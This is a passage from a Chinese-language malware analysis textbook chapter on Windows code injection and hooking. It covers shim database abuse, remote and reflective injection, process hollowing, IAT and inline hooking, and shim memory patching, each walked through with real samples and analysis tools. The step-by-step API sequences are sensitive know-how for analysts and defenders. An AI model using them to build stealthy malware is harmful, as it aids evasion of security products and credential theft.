攻击者可以通过将 .sdb 文件丢到文件系统的某个位置并修改最小的注册表项集合来安装 shim 数据库。这种方法避免了使用 sdbinst 工具。shim_persist 对象(github.com/hasherezade/persistence_demos/tree/master/shim_persist)是由安全研究员 Hasherezade(@hasherezade)编写的一个 POC,旨在将 DLL 丢入 programdata 目录并安装 shim,而无需使用 sdbinst 工具,将丢弃的 DLL 注入 explorer.exe 进程。
恶意软件作者已将 shim 滥用用于不同的目的,例如实现持久性、代码注入、禁用安全功能、以提升的权限执行代码,以及绕过 用户帐户控制 (UAC) 提示。下表概述了部分有趣的 shim 及其描述:
| Shim 名称 | 描述 |
|---|---|
RedirectEXE | 重定向执行 |
InjectDll | 将 DLL 注入应用程序 |
DisableNXShowUI | 禁用数据执行防护(DEP) |
CorrectFilePaths | 重定向文件系统路径 |
VirtualRegistry | 注册表重定向 |
RelaunchElevated | 以提升的权限重新启动应用程序 |
TerminateExe | 启动时终止可执行文件 |
DisableWindowsDefender | 禁用 Windows Defender 服务以供应用程序使用 |
RunAsAdmin | 标记应用程序以管理员权限运行 |
欲了解有关 shim 如何在攻击中使用的更多信息,请参考安全研究人员在各大会议上发布的演讲,所有这些演讲均可在sdb.tools/talks.html找到。
3.4.4 分析 Shim 数据库
要为应用程序安装 shim,攻击者会在受害者的文件系统中某个位置安装 shim 数据库(.sdb)。假设你已识别出在恶意活动中使用的 .sdb 文件,你可以使用如sdb-explorer(github.com/evil-e/sdb-explorer)或python-sdb(github.com/williballenthin/python-sdb)等工具来调查该 .sdb 文件。
在下面的示例中,使用了python-sdb工具来调查我们之前创建的 shim 数据库(.sdb)文件。运行python-sdb工具查看 shim 数据库时,将显示其元素,如下所示:
$ python sdb_dump_database.py notepad.sdb
<DATABASE>
<TIME type='integer'>0x1d3928964805b25</TIME>
<COMPILER_VERSION type='stringref'>2.1.0.3</COMPILER_VERSION>
<NAME type='stringref'>notepad</NAME>
<OS_PLATFORM type='integer'>0x1</OS_PLATFORM>
<DATABASE_ID type='guid'>ed41a297-9606-4f22-93f5-b37a9817a735</DATABASE_ID>
<LIBRARY>
</LIBRARY>
<EXE>
<NAME type='stringref'>notepad.exe</NAME>
<APP_NAME type='stringref'>notepad</APP_NAME>
<VENDOR type='stringref'><Unknown></VENDOR>
<EXE_ID type='hex'>a65e89a9-1862-4886-b882-cb9b888b943c</EXE_ID>
<MATCHING_FILE>
<NAME type='stringref'>*</NAME>
</MATCHING_FILE>
<SHIM_REF>
<NAME type='stringref'>InjectDll</NAME>
<COMMAND_LINE type='stringref'>c:\test\abcd.dll</COMMAND_LINE>
</SHIM_REF>
</EXE>
</DATABASE>
在一次攻击中,dridex 恶意软件使用了RedirectEXE shim 来绕过 UAC。它安装了 shim 数据库,并在提升权限后立即删除了该数据库。有关详细信息,请参阅博客文章:blog.jpcert.or.jp/2015/02/a-new-uac-bypass-method-that-dridex-uses.html。
3.5 远程可执行文件/恶意代码注入
在此技术中,恶意代码直接注入到目标进程内存中,而无需将组件写入磁盘。恶意代码可以是shellcode或可执行文件,其导入地址表已为目标进程配置。通过使用CreateRemoteThread()创建远程线程来强制执行注入的恶意代码,并且线程的起始位置指向注入代码块中的代码/函数。这种方法的优点是恶意软件进程无需将恶意 DLL 写入磁盘;它可以从二进制文件的资源区提取代码进行注入,或者通过网络获取代码并直接进行代码注入。
以下步骤描述了如何执行此技术,以一个名为nsasr.exe(W32/Fujack)的恶意软件样本为例,该恶意软件将可执行文件注入到 Internet Explorer(iexplorer.exe)进程中:
-
恶意软件进程(
nsasr.exe)使用OpenProcess()API 打开 Internet Explorer 进程(iexplore.exe)的句柄。 -
使用
VirutualAllocEx()在目标进程(iexplore.exe)中的特定地址0x13150000分配内存,使用PAGE_EXECUTE_READWRITE保护,而不是PAGE_READWRITE(与远程 DLL 注入技术相比,在第 3.1 节中介绍)。保护PAGE_EXECUTE_READWRITE允许恶意软件进程(nsasr.exe)将代码写入目标进程,并且在写入代码后,此保护允许目标进程(iexplore.exe)从此内存中读取和执行代码。 -
然后,使用
WriteProcessMemory()将恶意可执行内容写入前一步分配的内存中。在下面的截图中,第 1 个参数0xD4是指向iexplore.exe的句柄。第 2 个参数0x13150000是目标进程(iexplore.exe)内存中将要写入内容的地址。第 3 个参数0x13150000是恶意软件(nsasr.exe)进程内存中的缓冲区;该缓冲区包含将要写入目标进程内存的可执行内容:
- 在恶意可执行内容(在地址
0x13150000处)写入iexplore.exe进程内存后,调用CreateRemoteThread()API 创建一个远程线程,并使线程的起始地址指向注入可执行文件的入口点地址。在下面的截图中,第 4 个参数0x13152500指定了目标进程(iexplore.exe)内存中线程将开始执行的地址;这是注入可执行文件的入口点地址。此时,注入完成,iexplore.exe进程中的线程开始执行恶意代码:
反射式 DLL 注入是一种类似于远程可执行代码/ShellCode 注入的技术。在这种方法中,直接注入包含反射式加载器组件的 DLL,并使目标进程调用负责解析导入项、将其重定位到适当内存位置并调用
DllMain()函数的反射式加载器组件。这种技术的优点在于它不依赖于LoadLibrary()函数来加载 DLL。由于LoadLibrary()只能从磁盘加载库,因此注入的 DLL 无需驻留在磁盘上。有关此技术的更多信息,请参考 Stephen Fewer 的反射式 DLL 注入,网址为github.com/stephenfewer/ReflectiveDLLInjection。
3.6 空洞进程注入(进程空洞化)
进程空壳,或空壳进程注入,是一种代码注入技术,其中内存中合法进程的可执行部分被恶意可执行文件替换。这项技术使攻击者能够将恶意软件伪装成合法进程并执行恶意代码。该技术的优点是,被空壳的进程路径仍然指向合法路径,并且通过在合法进程的上下文中执行,恶意软件可以绕过防火墙和主机入侵防御系统。例如,如果svchost.exe进程被空壳,路径仍然指向合法的可执行文件路径(C:\Windows\system32\svchost.exe), 但在内存中,svchost.exe的可执行部分已被恶意代码替换;这使得攻击者能够避免被实时取证工具检测到。
以下步骤描述了恶意软件样本(Skeeyah)执行的空壳进程注入过程。在以下描述中,恶意软件进程会从其资源区中提取要注入的恶意可执行文件,然后执行这些步骤:
- 恶意软件进程以挂起模式启动一个合法进程。结果,合法进程的可执行部分被加载到内存中,内存中的
进程环境块(PEB)结构标识了合法进程的完整路径。PEB 的ImageBaseAddress(Peb.ImageBaseAddress)字段包含合法进程可执行文件加载的地址。在以下截图中,恶意软件以挂起模式启动合法的svchost.exe进程,在这种情况下,svchost.exe被加载到地址0x01000000:
- 恶意软件确定
PEB结构的地址,以便读取PEB.ImageBaseAddress字段来确定进程可执行文件的基址(svchost.exe)。为了确定PEB结构的地址,恶意软件调用GetThreadContext()。GetThreadContext()用于检索指定线程的上下文,接受两个参数:第一个参数是线程的句柄,第二个参数是指向名为CONTEXT的结构的指针**。** 在此情况下,恶意软件将挂起线程的句柄作为第一个参数传递给GetThreadContext(),并将CONTEXT结构的指针作为第二个参数传递。此 API 调用后,CONTEXT结构会填充挂起线程的上下文。此结构包含挂起线程的寄存器状态。然后,恶意软件读取CONTEXT._Ebx字段,该字段包含指向PEB数据结构的指针。一旦确定了PEB的地址,恶意软件就读取PEB.ImageBaseAddress来确定进程可执行文件的基地址(换句话说,0x01000000):
确定 PEB 指针的另一种方法是使用NtQueryInformationProcess()函数;有关详细信息,请访问msdn.microsoft.com/en-us/library/windows/desktop/ms684280(v=vs.85).aspx。
- 一旦确定了内存中要操作的目标进程可执行文件的地址,就使用
NtUnMapViewofSection()API 释放合法进程(svchost.exe)的可执行部分。在下面的截图中,第一个参数是指向svchost.exe进程的句柄(0x34),第二个参数是要释放的进程可执行文件的基本地址(0x01000000):
- 在进程可执行部分被挖空后,在合法进程(
svchost.exe)中分配一个具有读取、写入和执行权限的新内存段。新的内存段可以分配在相同的地址(在进程被挖空之前的位置)或不同的区域。在下面的截图中,恶意软件使用VirutalAllocEX()在不同的区域(在本例中为0x00400000)中分配内存:
- 然后使用
WriteProcessMemory()将恶意可执行文件及其各个部分复制到新分配的内存地址0x00400000:
- 然后,恶意软件将合法进程的
PEB.ImageBaseAdress覆盖为新分配的地址。下面的截图显示了恶意软件使用新地址(0x00400000)覆盖svchost.exe的PEB.ImageBaseAdress;这将使PEB中svchost.exe的基本地址从0x1000000更改为0x00400000(此地址现在包含注入的可执行文件):
- 然后恶意软件将悬停线程的起始地址更改为注入可执行文件的入口点地址。这是通过设置
CONTEXT._Eax值并调用SetThreadContext()来实现的。此时,悬停进程的线程指向注入代码。然后使用ResumeThread()恢复已悬停的线程。之后,恢复的线程开始执行注入的代码:
恶意软件进程可能只使用
NtMapViewSection()来避免使用VirtualAllocEX()和WriteProcessMemory()将恶意可执行内容写入目标进程;这样,恶意软件可以将包含恶意可执行文件的内存段从其自身地址空间映射到目标进程的地址空间。除了前面描述的技术,攻击者还被发现使用不同变种的空洞进程注入技术。为了更好理解这一点,可以观看作者在黑帽大会上的演讲,链接为www.youtube.com/watch?v=9L9I1T5QDg4,或者阅读相关博客文章:cysinfo.com/detecting-deceptive-hollowing-techniques/。
4. 钩子技术
到目前为止,我们已经介绍了不同的代码注入技术来执行恶意代码。攻击者将代码(主要是 DLL,但也可以是可执行文件或 Shellcode)注入到合法(目标)进程中的另一个原因是钩取目标进程发出的 API 调用。一旦代码注入到目标进程,它就可以完全访问进程内存,并修改其组件。能够修改进程内存组件使得攻击者可以替换 IAT 中的条目,或者修改 API 函数本身;这种技术被称为钩子技术。通过钩取 API,攻击者可以控制程序的执行路径,并将其重定向到他选择的恶意代码。然后,恶意函数可以:
-
阻止合法应用程序(如安全产品)对 API 的调用。
-
监视并拦截传递给 API 的输入参数。
-
过滤 API 返回的输出参数。
在本节中,我们将介绍不同类型的钩子技术。
4.1 IAT 钩子
如前所述,IAT(导入地址表)包含应用程序从 DLL 导入的函数地址。在此技术中,DLL 注入到目标(合法)进程后,注入的 DLL 中的代码(Dllmain()函数)会钩取目标进程中的 IAT 条目。以下是执行此类型钩子的步骤概述:
-
通过解析内存中的可执行镜像来定位 IAT。
-
确定要钩取的函数入口。
-
用恶意函数的地址替换函数的地址。
为了帮助理解,我们来看一个例子:一个合法程序通过调用DeleteFileA() API 删除文件。DeleteFileA()对象接受一个参数,即要删除的文件名。以下截图显示了合法进程(钩取之前),正常咨询 IAT 以确定DeleteFileA()的地址,然后调用DeleteFileA(),它位于kernel32.dll中:
当程序的 IAT 被挂钩时,IAT 中 DeleteFileA() 的地址被替换为恶意函数的地址,如下所示。现在,当合法程序调用 DeleteFileA() 时,调用将被重定向到恶意模块中的恶意函数。然后,恶意函数调用原始的 DeleteFileA() 函数,使一切看起来正常。中间的恶意函数可以阻止合法程序删除文件,或者监视参数(正在被删除的文件),然后采取一些行动:
除了阻止和监视之外,通常在调用原始函数之前发生,恶意函数还可以过滤输出参数,这发生在重新调用之后。这样,恶意软件可以挂钩显示进程、文件、驱动程序、网络端口等列表的 API,并过滤输出以隐藏不希望被使用这些 API 函数的工具发现。
使用这种技术的攻击者的劣势在于,如果程序使用运行时链接,或者攻击者希望挂钩的函数已被导入为序数,则此技术无法使用。攻击者的另一个劣势是,IAT hooking 可以很容易被检测到。在正常情况下,IAT 中的条目应该位于其对应模块的地址范围内。例如,DeleteFile() 的地址应该在 kernel32.dll 的地址范围内。为了检测这种挂钩技术,安全产品可以识别在超出模块地址范围之外的 IAT 中的条目。在 64 位 Windows 上,一种名为PatchGuard的技术防止对调用表进行打补丁,包括 IAT。由于这些问题,恶意软件作者使用了略有不同的挂钩技术,下面将讨论。
4.2 内联挂钩(内联打补丁)
IAT hooking 依赖于交换函数指针,而内联挂钩中,API 函数本身被修改(打补丁)以将 API 重定向到恶意代码。与 IAT hooking 类似,这种技术允许攻击者拦截、监视和阻止特定应用程序发出的调用,并过滤输出参数。在内联挂钩中,目标 API 函数的前几个字节(指令)通常被覆盖为一个跳转语句,将程序控制重新路由到恶意代码。然后,恶意代码可以拦截输入参数,过滤输出,并将控制重新定向回原始函数。
为了帮助您理解,假设一个攻击者想要挂钩合法应用程序调用的 DeleteFileA() 函数。通常,当合法应用程序的线程遇到对 DeleteFileA() 的调用时,线程从 DeleteFileA() 函数的开头开始执行,如下所示:
为了用跳转替换函数的前几个指令,恶意软件需要选择要替换的指令。jmp 指令至少需要 5 个字节,因此恶意软件需要选择占用 5 个字节或更多的指令。在前面的示意图中,替换前 3 个指令是安全的(使用不同颜色高亮显示),因为它们正好占用 5 个字节,而且这些指令除了设置堆栈帧外没有其他作用。在 DeleteFileA() 中要替换的三个指令被复制,然后用某种跳转语句替换,这样可以将控制转移到恶意函数。恶意函数执行所需的操作后,再执行 DeleteFileA() 的原始三个指令,并跳转回位于 修补(跳转指令下方)之下的地址,如下图所示。被替换的指令以及跳转回目标函数的跳转语句统称为 跳板(trampoline):
这种技术可以通过查看 API 函数开头是否有意外的跳转指令来进行检测,但要注意,恶意软件可以通过将跳转指令插入到 API 函数的更深处来使检测变得更加困难,而不是将跳转指令放在函数的开头。恶意软件可能不会使用 jmp 指令,而是使用 call 指令,或是 push 和 ret 指令的组合来重定向控制;这种技术可以绕过只寻找 jmp 指令的安全工具。
在了解了内联挂钩(inline hooking)之后,接下来让我们看一个使用此技术的恶意软件示例(Zeus Bot)。Zeus Bot 挂钩了多个 API 函数,其中之一是 HttpSendRequestA(),位于 Internet Explorer 中(iexplore.exe)。通过挂钩此函数,恶意软件可以从 POST 载荷中提取凭据。在挂钩之前,恶意可执行文件(包含多个功能)会被注入到 Internet Explorer 的地址空间中。下图显示了注入的地址 0x33D0000:
在注入可执行文件后,HttpSendRequestA() 被挂钩,程序控制被重定向到注入的可执行文件中的一个恶意函数。在我们查看挂钩函数之前,先来看一下合法的 HttpSendRequestA() 函数的前几个字节(如下所示):
前三个指令(占用 5 个字节,如前面的截图所示)被替换,以重定向控制。下图展示了挂钩后的 HttpSendRequestA(),前三个指令被 jmp 指令替换(占用 5 个字节);请注意,跳转指令如何将控制重定向到恶意代码,地址 0x33DEC48 位于注入的可执行文件的地址范围内:
4.3 使用 Shim 进行内存修补
在内联钩取中,我们看到函数中的一系列字节被补丁修改,以重定向控制到恶意代码。可以通过使用应用兼容性 shim(shim 的详细信息之前已介绍)来执行内存中的补丁。微软使用内存补丁功能来修复其产品中的漏洞。内存补丁是一个未文档化的功能,在兼容性管理员工具(之前讲解过)中无法使用,但安全研究人员通过逆向工程,已弄清楚内存补丁的功能,并开发了工具来分析它们。Jon Erickson 的sdb-explorer(github.com/evil-e/sdb-explorer)和 William Ballenthin 的python-sdb(github.com/williballenthin/python-sdb)允许你通过解析 shim 数据库(.sdb)文件来检查内存中的补丁。以下是这些研究人员的演示,包含有关内存补丁的详细信息,以及分析它们的工具:
-
使用和滥用微软 Fix It 补丁进行持久化:
www.blackhat.com/docs/asia-14/materials/Erickson/WP-Asia-14-Erickson-Persist-It-Using-And-Abusing-Microsofts-Fix-It-Patches.pdf -
真正的 Shim Shady:
files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf
恶意软件作者已经使用内存补丁来注入代码并钩取 API 函数。使用内存补丁的恶意软件样本之一是GootKit;该恶意软件使用sdbinst工具安装多个 shim 数据库(文件)。以下截图显示了为多个应用程序安装的 shim,并且截图显示了与explorer.exe相关的.sdb文件:
安装的.sdb文件包含将直接补丁到目标进程内存中的 shellcode。你可以使用sdb_dump_database.py脚本(python-sdb工具的一部分)来检查.sdb文件,使用如下命令:
$ python sdb_dump_database.py {4c895e03-f7a5-4780-b65b-549b3fef0540}.sdb
上述命令的输出显示了针对explorer.exe的恶意软件,并应用了一个名为patchdata0的 shim。shim 名称下的PATCH_BITS是包含将被补丁到explorer.exe内存中的 shellcode 的原始二进制数据:
要了解 shellcode 在做什么,我们需要能够解析PATCH_BITS,这是一个未文档化的结构。要解析这个结构,你可以使用sdb_dump_patch.py脚本(python-sdb的一部分),通过给出补丁名称patchdata0,如下面所示:
$ python sdb_dump_patch.py {4c895e03-f7a5-4780-b65b-549b3fef0540\}.sdb patchdata0
执行上述命令显示了在 explorer.exe 中应用的各种补丁。以下截图显示了第一个补丁,其中它在相对虚拟地址 (RVA) 0x0004f0f2 匹配两个字节,8B FF (mov edi,edi),并将其替换为 EB F9 (jmp 0x0004f0ed)。换句话说,它将控制重定向到 RVA 0x0004f0ed:
以下输出显示了在 kernel32.dll 中,RVA 0x0004f0ed 位置应用的另一个补丁,恶意软件将一系列 NOP 指令替换为 call 0x000c61a4,从而将程序控制重定向到 RVA 0x000c61a4 的函数。通过这种方式,恶意软件在 kernel32.dll 中打补丁并执行各种重定向,最终将其引导到实际的 shellcode:
若要理解恶意软件在 kernel32.dll 中打的补丁,可以将调试器附加到已补丁的 explorer.exe 进程并定位到 kernel32.dll 中的这些补丁。例如,要检查位于 RVA 0x0004f0f2 的第一个补丁,我们需要确定 kernel32.dll 加载的基地址。在我的情况下,它被加载到 0x76730000,然后加上 RVA 0x0004f0f2(换句话说,0x76730000 + 0x0004f0f2 = 0x7677f0f2)。以下截图显示该地址 0x7677f0f2 与 API 函数 LoadLibraryW() 关联:
检查 LoadLibraryW() 函数显示函数开始处的跳转指令,最终将程序控制重定向到 shellcode:
这项技术很有趣,因为在这种情况下,恶意软件并不直接分配内存或注入代码,而是依赖于微软的 shim 功能来注入 shellcode 并挂钩 LoadLibraryW() API。它还通过跳转到 kernel32.dll 中的多个位置,增加了检测的难度。
5. 其他资源
除了本章介绍的代码注入技术外,安全研究人员还发现了多种其他代码注入方法。以下是一些新的代码注入技术和进一步阅读的资源:
-
原子弹攻击:全新的 Windows 代码注入技术:
blog.ensilo.com/atombombing-brand-new-code-injection-for-windows -
PROPagate:
www.hexacorn.com/blog/2017/10/26/propagate-a-new-code-injection-trick/ -
进程双重化,Tal Liberman 和 Eugene Kogan 编写:
www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf -
GHOSTHOOK:
www.cyberark.com/threat-research-blog/ghosthook-bypassing-patchguard-processor-trace-based-hooking/
本章我们主要集中讨论了用户空间中的代码注入技术;类似的功能也可以在内核空间中实现(我们将在第十一章中讨论内核空间的 hooking 技术)。以下书籍将帮助您更深入理解 rootkit 技术和 Windows 内部概念:
-
Rootkit 武器库:在系统的黑暗角落中逃避与规避(第二版), 由 Bill Blunden 编著
-
实用逆向工程:x86、x64、ARM、Windows 内核、逆向工具与混淆技术, 由 Bruce Dang、Alexandre Gazet 和 Elias Bachaalany 编著
-
Windows 内部结构(第七版), 由 Pavel Yosifovich、Alex Ionescu、Mark E. Russinovich 和 David A. Solomon 编著
总结
在本章中,我们探讨了恶意程序使用的不同代码注入技术,恶意代码如何在合法进程的上下文中被注入并执行。这些技术使攻击者能够执行恶意操作,并绕过各种安全产品。除了执行恶意代码外,攻击者还可以劫持合法进程调用的 API 函数(通过 hooking),并将控制流重定向到恶意代码,从而监控、阻止甚至过滤 API 的输出,改变程序的行为。在下一章中,您将学习对手使用的各种混淆技术,这些技术可以帮助他们避开安全监控解决方案的检测。